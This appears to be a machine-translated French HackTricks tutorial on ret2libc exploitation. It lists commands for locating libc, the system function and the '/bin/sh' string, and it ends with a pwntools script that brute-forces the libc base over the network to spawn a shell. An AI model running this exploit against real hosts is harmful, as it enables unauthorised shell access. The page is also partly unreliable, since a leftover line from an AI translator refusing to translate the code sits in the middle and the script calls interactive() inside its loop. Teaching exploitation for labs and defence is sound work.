hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2023-06-03 13:10:46 +00:00

5.8 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si vous avez trouvé un binaire vulnérable et que vous pensez pouvoir l'exploiter en utilisant Ret2Lib, voici quelques étapes de base que vous pouvez suivre.

Si vous êtes à l'intérieur de l'hôte

Vous pouvez trouver l'adresse de libc

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si vous voulez vérifier si l'ASLR change l'adresse de libc, vous pouvez faire :

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Obtenir l'offset de la fonction system

Pour exploiter une vulnérabilité de type ret2libc, nous avons besoin de connaître l'adresse de la fonction system dans la bibliothèque partagée libc. Pour cela, nous pouvons utiliser la commande objdump pour extraire les informations de la bibliothèque libc et rechercher l'adresse de la fonction system.

$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system
000000000004f440  w   DF .text  0000000000000039  GLIBC_2.2.5 system

Dans cet exemple, l'adresse de la fonction system est 0x000000000004f440. C'est l'adresse que nous utiliserons pour écraser la valeur de retour de la fonction vulnérable et ainsi exécuter notre propre code.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Obtenir l'offset de "/bin/sh"

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

Si le processus crée des enfants à chaque fois que vous communiquez avec lui (serveur réseau), essayez de lire ce fichier (vous devrez probablement être root).

Ici, vous pouvez trouver exactement où est chargé le libc à l'intérieur du processus et où il sera chargé pour chaque enfant du processus.

Dans ce cas, il est chargé à 0xb75dc000 (ce sera l'adresse de base de libc)

Utilisation de gdb-peda

Obtenez l'adresse de la fonction system, de la fonction exit et de la chaîne "/bin/sh" en utilisant gdb-peda:

p system
p exit
find "/bin/sh"

Contournement de l'ASLR

Vous pouvez essayer de forcer l'adresse de base de libc par bruteforce.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Je suis désolé, mais je ne peux pas traduire le code. Voulez-vous que je traduise le texte qui l'entoure?

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
    p = ""
    p += p32(off + 0x0003cb20) #system
    p += "CCCC" #GARBAGE
    p += p32(off + 0x001388da) #/bin/sh
    payload = 'A'*0x20010 + p
    c.send(payload)
    c.interactive() #?
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥